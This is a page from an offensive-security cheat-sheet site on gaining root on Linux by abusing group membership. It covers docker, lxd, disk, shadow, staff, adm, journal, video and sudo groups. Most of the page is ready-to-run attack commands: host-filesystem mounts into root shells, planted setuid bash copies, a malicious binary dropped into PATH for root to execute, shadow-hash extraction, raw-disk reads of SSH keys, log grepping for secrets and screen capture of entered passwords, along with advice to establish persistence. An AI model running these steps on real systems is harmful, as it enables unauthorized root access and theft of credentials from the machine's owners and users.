Skip to content
HackIndex logo

HackIndex

Group-Based Privilege Escalation on Linux

6 min read Jul 14, 2026

Group membership often grants indirect root access without any exploit. If you belong to certain privileged groups, you can read sensitive files, mount disks, escape containers, or hijack execution paths. Check groups immediately after getting a shell.

Prerequisites Check

List all groups for the current user:

┌──(kali㉿kali)-[~]
└─$ id
┌──(kali㉿kali)-[~]
└─$ groups
uid=1001(user) gid=1001(user) groups=1001(user),24(cdrom),25(floppy),27(sudo),42(shadow),43(staff),6(disk),4(adm),999(docker)

High-risk groups to focus on: docker, lxd, lxc, disk, shadow, staff, adm, systemd-journal, video, render, sudo, wheel.

If you were recently added to a group but your session predates the change, use newgrp to activate it without re-login:

┌──(kali㉿kali)-[~]
└─$ newgrp docker
┌──(kali㉿kali)-[~]
└─$ id

docker Group — Root via Socket

Members of the docker group can control the Docker daemon which runs as root. No container breakout needed — mount the host filesystem directly.

Confirm access:

┌──(kali㉿kali)-[~]
└─$ docker version
ls -la /var/run/docker.sock

If the socket exists and is accessible, mount the entire host filesystem and chroot into it:

┌──(kali㉿kali)-[~]
└─$ docker run -v /:/host -it alpine chroot /host /bin/bash

You now have a root shell with full access to the host filesystem.

Alternative — nsenter (no image pull needed):

┌──(kali㉿kali)-[~]
└─$ docker run --rm -v /:/mnt --cap-add=SYS_ADMIN alpine nsenter -t 1 -m -u -n -i sh

Alternative — if no image is available locally and no internet access:

┌──(kali㉿kali)-[~]
└─$ # Check what images are already on the host
┌──(kali㉿kali)-[~]
└─$ docker images
 
┌──(kali㉿kali)-[~]
└─$ # Use any available image
┌──(kali㉿kali)-[~]
└─$ docker run -v /:/host -it ubuntu:latest chroot /host /bin/bash
root:$6$vL...:19000:0:99999:7:::

After getting root, establish persistence — see https://hackindex.io/platforms/linux/privilege-escalation/credential-hunting for finding SSH keys to maintain access.

lxd / lxc Group — Host Filesystem via Container

LXD group membership allows creating privileged containers that mount the host filesystem.

Prerequisite check — LXD must be initialized:

┌──(kali㉿kali)-[~]
└─$ lxd --version 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ lxc list 2>/dev/null

If LXD is not initialized, initialize it first (requires no root):

┌──(kali㉿kali)-[~]
└─$ lxd init --auto

Build a minimal Alpine image on your attack box (required if no images exist):

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/saghul/lxd-alpine-builder.git
┌──(kali㉿kali)-[~]
└─$ cd lxd-alpine-builder
┌──(kali㉿kali)-[~]
└─$ ./build-alpine
┌──(kali㉿kali)-[~]
└─$ # Produces: alpine-v3.x-x86_64-YYYYMMDD_HHMM.tar.gz

Transfer the image to the target and import it:

┌──(kali㉿kali)-[~]
└─$ # On target
┌──(kali㉿kali)-[~]
└─$ lxc image import ./alpine-v3.x.tar.gz --alias privesc
┌──(kali㉿kali)-[~]
└─$ lxc image list
 
┌──(kali㉿kali)-[~]
└─$ # Create privileged container with host filesystem mounted
┌──(kali㉿kali)-[~]
└─$ lxc init privesc privesc -c security.privileged=true
┌──(kali㉿kali)-[~]
└─$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
┌──(kali㉿kali)-[~]
└─$ lxc start privesc
┌──(kali㉿kali)-[~]
└─$ lxc exec privesc /bin/sh

Inside the container, /mnt/root is the full host filesystem:

┌──(kali㉿kali)-[~]
└─$ cat /mnt/root/etc/shadow
cp /mnt/root/bin/bash /mnt/root/tmp/.rootbash
chmod u+s /mnt/root/tmp/.rootbash
exit
 
# On host
/tmp/.rootbash -p

shadow Group — Direct Hash Read

Members of the shadow group can read /etc/shadow directly without any exploit:

┌──(kali㉿kali)-[~]
└─$ cat /etc/shadow
┌──(kali㉿kali)-[~]
└─$ awk -F: '$1=="root"{print "root:"$2}' /etc/shadow > /tmp/root_hash.txt

Crack the extracted hash — see https://hackindex.io/platforms/linux/privilege-escalation/passwd-shadow-manipulation for the full cracking workflow including yescrypt, SHA-512, and unshadow techniques.

disk Group — Raw Device Access

The disk group grants read/write access to block devices like /dev/sda. This allows reading the raw filesystem without mounting.

Find the root partition:

┌──(kali㉿kali)-[~]
└─$ lsblk
┌──(kali㉿kali)-[~]
└─$ ls -la /dev/sd* /dev/vd* /dev/xvd* 2>/dev/null

Option 1 — debugfs (fastest, no mounting needed):

┌──(kali㉿kali)-[~]
└─$ debugfs /dev/sda1
┌──(kali㉿kali)-[~]
└─$ debugfs: cat /etc/shadow
┌──(kali㉿kali)-[~]
└─$ debugfs: cat /root/.ssh/id_rsa
┌──(kali㉿kali)-[~]
└─$ debugfs: ls /root/

Option 2 — dd to extract and mount:

┌──(kali㉿kali)-[~]
└─$ dd if=/dev/sda1 of=/tmp/sda1.img bs=1M count=200
┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/disk
┌──(kali㉿kali)-[~]
└─$ mount -o loop /tmp/sda1.img /tmp/disk
┌──(kali㉿kali)-[~]
└─$ cat /tmp/disk/etc/shadow

Disk group also allows writing to raw devices — with sufficient knowledge you can modify filesystem data directly, though this is high-risk.

staff Group — PATH Hijacking

On Debian and Ubuntu, the staff group typically has write access to /usr/local/bin and /usr/local/sbin. These directories are in the default PATH and take precedence over /usr/bin.

Confirm write access:

┌──(kali㉿kali)-[~]
└─$ ls -ld /usr/local/bin /usr/local/sbin

Identify what commands root runs that exist in /usr/local/bin or that resolve there via PATH. Check cron jobs and running services:

┌──(kali㉿kali)-[~]
└─$ cat /etc/crontab /etc/cron.d/* 2>/dev/null | grep -v "^#"
┌──(kali㉿kali)-[~]
└─$ ps aux | grep root

Plant a malicious binary with the same name as one root calls:

┌──(kali㉿kali)-[~]
└─$ echo '#!/bin/sh' > /usr/local/bin/targetcommand
┌──(kali㉿kali)-[~]
└─$ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /usr/local/bin/targetcommand
┌──(kali㉿kali)-[~]
└─$ chmod +x /usr/local/bin/targetcommand

Wait for root to execute it.

For the full PATH hijacking technique see https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking.

adm / systemd-journal Group — Log Access

These groups grant read access to system logs. Logs frequently contain credentials passed on the command line, service startup secrets, and API keys.

┌──(kali㉿kali)-[~]
└─$ # adm group — syslog and auth logs
┌──(kali㉿kali)-[~]
└─$ cat /var/log/auth.log 2>/dev/null | grep -i "password\|token\|key\|secret"
┌──(kali㉿kali)-[~]
└─$ cat /var/log/syslog 2>/dev/null | grep -i "password\|token"
┌──(kali㉿kali)-[~]
└─$ grep -r "password\|secret\|token" /var/log/ 2>/dev/null | grep -v Binary
 
┌──(kali㉿kali)-[~]
└─$ # systemd-journal group — all journald logs
┌──(kali㉿kali)-[~]
└─$ journalctl -u ssh 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ journalctl -u apache2 -u nginx 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ journalctl | grep -i "password\|secret\|token\|key" 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Live monitoring
┌──(kali㉿kali)-[~]
└─$ journalctl -f 2>/dev/null

Services commonly log sensitive data: database connection strings, API keys in startup commands, passwords in failed authentication attempts (typos in the username field).

video / render Group — Screen Capture

Access to /dev/fb0 (framebuffer) allows dumping the current screen content, potentially capturing open terminals or entered passwords:

┌──(kali㉿kali)-[~]
└─$ # Check framebuffer access
┌──(kali㉿kali)-[~]
└─$ ls -la /dev/fb* 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Dump current screen
┌──(kali㉿kali)-[~]
└─$ cat /dev/fb0 > /tmp/screen.raw
 
┌──(kali㉿kali)-[~]
└─$ # Get screen resolution for processing
┌──(kali㉿kali)-[~]
└─$ cat /sys/class/graphics/fb0/virtual_size 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ # e.g. 1920,1080
 
┌──(kali㉿kali)-[~]
└─$ # Convert to PNG on attack box
┌──(kali㉿kali)-[~]
└─$ ffmpeg -vcodec rawvideo -f rawvideo -pix_fmt rgb32 -s 1920x1080 -i screen.raw -f image2 -vcodec png screen.png

Useful when a privileged user is actively working in a graphical session and you need to capture credentials being entered.

sudo / wheel Group — Direct Escalation

Being in the sudo group on Ubuntu (or wheel on RHEL/CentOS) typically grants full sudo access:

┌──(kali㉿kali)-[~]
└─$ # Check if sudo group gives full access
┌──(kali㉿kali)-[~]
└─$ grep -E "^%sudo|^%wheel" /etc/sudoers /etc/sudoers.d/* 2>/dev/null

If %sudo ALL=(ALL:ALL) ALL is present, run:

┌──(kali㉿kali)-[~]
└─$ sudo /bin/bash

Supply your current user's password. For sudo misconfiguration exploitation see https://hackindex.io/platforms/linux/privilege-escalation/sudo-misconfiguration.

References